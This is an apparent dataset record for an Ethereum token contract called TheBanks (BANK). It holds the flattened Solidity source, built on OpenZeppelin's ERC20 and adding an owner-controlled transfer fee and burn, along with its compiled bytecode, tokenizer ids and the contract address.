@dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.8.4; contract TheBanks is ERC20, Owned { uint256 public minSupply; address public beneficiary; bool public feesEnabled; mapping(address => bool) public isExcludedFromFee; event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount); event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary); event FeesEnabledUpdated(bool enabled); event ExcludedFromFeeUpdated(address account, bool excluded); constructor() ERC20("TheBanks", "BANK") { minSupply = 100000000 ether; uint256 totalSupply = 10000000000000 ether; feesEnabled = false; _mint(_msgSender(), totalSupply); isExcludedFromFee[msg.sender] = true; isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; beneficiary = msg.sender; } /** * @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary * @dev after a certain threshold, try to swap collected fees automatically * @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed */ function _transfer( address sender, address recipient, uint256 amount ) internal override { require( recipient != address(this), "Cannot send tokens to token contract" ); if ( !feesEnabled || isExcludedFromFee[sender] || isExcludedFromFee[recipient] ) { ERC20._transfer(sender, recipient, amount); return; } // burn tokens if min supply not reached yet uint256 burnedFee = calculateFee(amount, 25); if (totalSupply() - burnedFee >= minSupply) { _burn(sender, burnedFee); } else { burnedFee = 0; } uint256 transferFee = calculateFee(amount, 200); ERC20._transfer(sender, beneficiary, transferFee); ERC20._transfer(sender, recipient, amount - transferFee - burnedFee); } function calculateFee(uint256 _amount, uint256 _fee) public pure returns (uint256) { return (_amount * _fee) / 10000; } /** * @notice allows to burn tokens from own balance * @dev only allows burning tokens until minimum supply is reached * @param value amount of tokens to burn */ function burn(uint256 value) public { _burn(_msgSender(), value); require(totalSupply() >= minSupply, "total supply exceeds min supply"); } /** * @notice sets minimum supply of the token * @dev only callable by owner * @param _newMinSupply new minimum supply */ function setMinSupply(uint256 _newMinSupply) public onlyOwner { emit MinSupplyUpdated(minSupply, _newMinSupply); minSupply = _newMinSupply; } /** * @notice sets recipient of transfer fee * @dev only callable by owner * @param _newBeneficiary new beneficiary */ function setBeneficiary(address _newBeneficiary) public onlyOwner { setExcludeFromFee(_newBeneficiary, true); emit BeneficiaryUpdated(beneficiary, _newBeneficiary); beneficiary = _newBeneficiary; } /** * @notice sets whether account collects fees on token transfer * @dev only callable by owner * @param _enabled bool whether fees are enabled */ function setFeesEnabled(bool _enabled) public onlyOwner { emit FeesEnabledUpdated(_enabled); feesEnabled = _enabled; } /** * @notice adds or removes an account that is exempt from fee collection * @dev only callable by owner * @param _account account to modify * @param _excluded new value */ function setExcludeFromFee(address _account, bool _excluded) public onlyOwner { isExcludedFromFee[_account] = _excluded; emit ExcludedFromFeeUpdated(_account, _excluded); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635342acb4116100de578063a64e4f8a11610097578063af9549e011610071578063af9549e014610462578063b5ed298a1461047e578063d153b60c1461049a578063dd62ed3e146104b857610173565b8063a64e4f8a146103f8578063a901dd9214610416578063a9059cbb1461043257610173565b80635342acb41461030e57806370a082311461033e5780638da5cb5b1461036e5780638fe6cae31461038c57806395d89b41146103aa578063a457c2d7146103c857610173565b8063313ce56711610130578063313ce5671461024c57806334e731221461026a57806338af3eed1461029a57806339509351146102b857806342966c68146102e85780634e71e0c81461030457610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631ac2874b146101e45780631c31f7101461020057806323b872dd1461021c575b600080fd5b6101806104e8565b60405161018d9190611cf3565b60405180910390f35b6101b060048036038101906101ab91906119ab565b61057a565b6040516101bd9190611cd8565b60405180910390f35b6101ce610598565b6040516101db9190611e75565b60405180910390f35b6101fe60048036038101906101f99190611a10565b6105a2565b005b61021a60048036038101906102159190611892565b610641565b005b61023660048036038101906102319190611920565b610745565b6040516102439190611cd8565b60405180910390f35b610254610846565b6040516102619190611eb9565b60405180910390f35b610284600480360381019061027f9190611a39565b61084f565b6040516102919190611e75565b60405180910390f35b6102a2610872565b6040516102af9190611c6b565b60405180910390f35b6102d260048036038101906102cd91906119ab565b610898565b6040516102df9190611cd8565b60405180910390f35b61030260048036038101906102fd9190611a10565b610944565b005b61030c6109a4565b005b61032860048036038101906103239190611892565b610b01565b6040516103359190611cd8565b60405180910390f35b61035860048036038101906103539190611892565b610b21565b6040516103659190611e75565b60405180910390f35b610376610b69565b6040516103839190611c6b565b60405180910390f35b610394610b8f565b6040516103a19190611e75565b60405180910390f35b6103b2610b95565b6040516103bf9190611cf3565b60405180910390f35b6103e260048036038101906103dd91906119ab565b610c27565b6040516103ef9190611cd8565b60405180910390f35b610400610d1b565b60405161040d9190611cd8565b60405180910390f35b610430600480360381019061042b91906119e7565b610d2e565b005b61044c600480360381019061044791906119ab565b610ddc565b6040516104599190611cd8565b60405180910390f35b61047c6004803603810190610477919061196f565b610dfa565b005b610498600480360381019061049391906118bb565b610ee8565b005b6104a2610f86565b6040516104af9190611c6b565b60405180910390f35b6104d260048036038101906104cd91906118e4565b610fac565b6040516104df9190611e75565b60405180910390f35b6060600380546104f79061209f565b80601f01602080910402602001604051908101604052809291908181526020018280546105239061209f565b80156105705780601f1061054557610100808354040283529160200191610570565b820191906000526020600020905b81548152906001019060200180831161055357829003601f168201915b5050505050905090565b600061058e610587611033565b848461103b565b6001905092915050565b6000600254905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105fc57600080fd5b7f8e485513f38ca4c23b0c8170161c4fd5c16f934ea7c068b376f646b0194d1b8e6007548260405161062f929190611e90565b60405180910390a18060078190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069b57600080fd5b6106a6816001610dfa565b7fe72eaf6addaa195f3c83095031dd08f3a96808dcf047babed1fe4e4f69d6c622600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516106f9929190611c86565b60405180910390a180600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610752848484611206565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079d611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490611db5565b60405180910390fd5b61083a85610829611033565b85846108359190611fd1565b61103b565b60019150509392505050565b60006012905090565b600061271082846108609190611f77565b61086a9190611f46565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061093a6108a5611033565b8484600160006108b3611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109359190611ef0565b61103b565b6001905092915050565b61095561094f611033565b826113e6565b600754610960610598565b10156109a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890611e35565b60405180910390fd5b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b606060048054610ba49061209f565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd09061209f565b8015610c1d5780601f10610bf257610100808354040283529160200191610c1d565b820191906000526020600020905b815481529060010190602001808311610c0057829003601f168201915b5050505050905090565b60008060016000610c36611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea90611e55565b60405180910390fd5b610d10610cfe611033565b858584610d0b9190611fd1565b61103b565b600191505092915050565b600860149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8857600080fd5b7fba500994dffbabeeb9e430f03a978d7b975359a20c5bde3a6ccb5a0c454680c881604051610db79190611cd8565b60405180910390a180600860146101000a81548160ff02191690831515021790555050565b6000610df0610de9611033565b8484611206565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5457600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f318c131114339c004fff0a22fcdbbc0566bb2a7cd3aa1660e636ec5a66784ff28282604051610edc929190611caf565b60405180910390a15050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4257600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290611e15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111290611d55565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f99190611e75565b60405180910390a3505050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611d95565b60405180910390fd5b600860149054906101000a900460ff1615806112da5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061132e5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113435761133e8383836115ba565b6113e1565b600061135082601961084f565b90506007548161135e610598565b6113689190611fd1565b1061137c5761137784826113e6565b611381565b600090505b600061138e8360c861084f565b90506113bd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115ba565b6113de85858484876113cf9190611fd1565b6113d99190611fd1565b6115ba565b50505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90611dd5565b60405180910390fd5b61146282600083611839565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90611d35565b60405180910390fd5b81816114f49190611fd1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546115489190611fd1565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ad9190611e75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190611df5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169190611d15565b60405180910390fd5b6116a5838383611839565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561172b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172290611d75565b60405180910390fd5b81816117379190611fd1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117c79190611ef0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182b9190611e75565b60405180910390a350505050565b505050565b60008135905061184d816124ae565b92915050565b600081359050611862816124c5565b92915050565b600081359050611877816124dc565b92915050565b60008135905061188c816124f3565b92915050565b6000602082840312156118a457600080fd5b60006118b28482850161183e565b91505092915050565b6000602082840312156118cd57600080fd5b60006118db84828501611853565b91505092915050565b600080604083850312156118f757600080fd5b60006119058582860161183e565b92505060206119168582860161183e565b9150509250929050565b60008060006060848603121561193557600080fd5b60006119438682870161183e565b93505060206119548682870161183e565b92505060406119658682870161187d565b9150509250925092565b6000806040838503121561198257600080fd5b60006119908582860161183e565b92505060206119a185828601611868565b9150509250929050565b600080604083850312156119be57600080fd5b60006119cc8582860161183e565b92505060206119dd8582860161187d565b9150509250929050565b6000602082840312156119f957600080fd5b6000611a0784828501611868565b91505092915050565b600060208284031215611a2257600080fd5b6000611a308482850161187d565b91505092915050565b60008060408385031215611a4c57600080fd5b6000611a5a8582860161187d565b9250506020611a6b8582860161187d565b9150509250929050565b611a7e81612005565b82525050565b611a8d81612029565b82525050565b6000611a9e82611ed4565b611aa88185611edf565b9350611ab881856020860161206c565b611ac18161215e565b840191505092915050565b6000611ad9602383611edf565b9150611ae48261216f565b604082019050919050565b6000611afc602283611edf565b9150611b07826121be565b604082019050919050565b6000611b1f602283611edf565b9150611b2a8261220d565b604082019050919050565b6000611b42602683611edf565b9150611b4d8261225c565b604082019050919050565b6000611b65602483611edf565b9150611b70826122ab565b604082019050919050565b6000611b88602883611edf565b9150611b93826122fa565b604082019050919050565b6000611bab602183611edf565b9150611bb682612349565b604082019050919050565b6000611bce602583611edf565b9150611bd982612398565b604082019050919050565b6000611bf1602483611edf565b9150611bfc826123e7565b604082019050919050565b6000611c14601f83611edf565b9150611c1f82612436565b602082019050919050565b6000611c37602583611edf565b9150611c428261245f565b604082019050919050565b611c5681612055565b82525050565b611c658161205f565b82525050565b6000602082019050611c806000830184611a75565b92915050565b6000604082019050611c9b6000830185611a75565b611ca86020830184611a75565b9392505050565b6000604082019050611cc46000830185611a75565b611cd16020830184611a84565b9392505050565b6000602082019050611ced6000830184611a84565b92915050565b60006020820190508181036000830152611d0d8184611a93565b905092915050565b60006020820190508181036000830152611d2e81611acc565b9050919050565b60006020820190508181036000830152611d4e81611aef565b9050919050565b60006020820190508181036000830152611d6e81611b12565b9050919050565b60006020820190508181036000830152611d8e81611b35565b9050919050565b60006020820190508181036000830152611dae81611b58565b9050919050565b60006020820190508181036000830152611dce81611b7b565b9050919050565b60006020820190508181036000830152611dee81611b9e565b9050919050565b60006020820190508181036000830152611e0e81611bc1565b9050919050565b60006020820190508181036000830152611e2e81611be4565b9050919050565b60006020820190508181036000830152611e4e81611c07565b9050919050565b60006020820190508181036000830152611e6e81611c2a565b9050919050565b6000602082019050611e8a6000830184611c4d565b92915050565b6000604082019050611ea56000830185611c4d565b611eb26020830184611c4d565b9392505050565b6000602082019050611ece6000830184611c5c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611efb82612055565b9150611f0683612055565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f3b57611f3a6120d1565b5b828201905092915050565b6000611f5182612055565b9150611f5c83612055565b925082611f6c57611f6b612100565b5b828204905092915050565b6000611f8282612055565b9150611f8d83612055565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fc657611fc56120d1565b5b828202905092915050565b6000611fdc82612055565b9150611fe783612055565b925082821015611ffa57611ff96120d1565b5b828203905092915050565b600061201082612035565b9050919050565b600061202282612035565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561208a57808201518184015260208101905061206f565b83811115612099576000848401525b50505050565b600060028204905060018216806120b757607f821691505b602082108114156120cb576120ca61212f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742073656e6420746f6b656e7320746f20746f6b656e20636f6e7460008201527f7261637400000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f746f74616c20737570706c792065786365656473206d696e20737570706c7900600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6124b781612005565b81146124c257600080fd5b50565b6124ce81612017565b81146124d957600080fd5b50565b6124e581612029565b81146124f057600080fd5b50565b6124fc81612055565b811461250757600080fd5b5056fea264697066735822122018bfa16fdf0fbfee5e30f73714dd5021b615d51c00abd7811c794e1708f835a264736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 21084, 2692, 21486, 2094, 2575, 2063, 2549, 2497, 24434, 2475, 19797, 2278, 2546, 16048, 2575, 2278, 2509, 9818, 2050, 28154, 3676, 2692, 2546, 10790, 2620, 3540, 16086, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 4769, 2270, 3818, 12384, 2121, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3988, 10057, 1996, 3206, 4292, 1996, 21296, 2121, 2004, 1996, 3988, 3954, 1012, 1008, 1013, 9570, 2953, 1006, 1007, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,803
0x9764ff1f2d1240384c450120633e0be1389cf60b
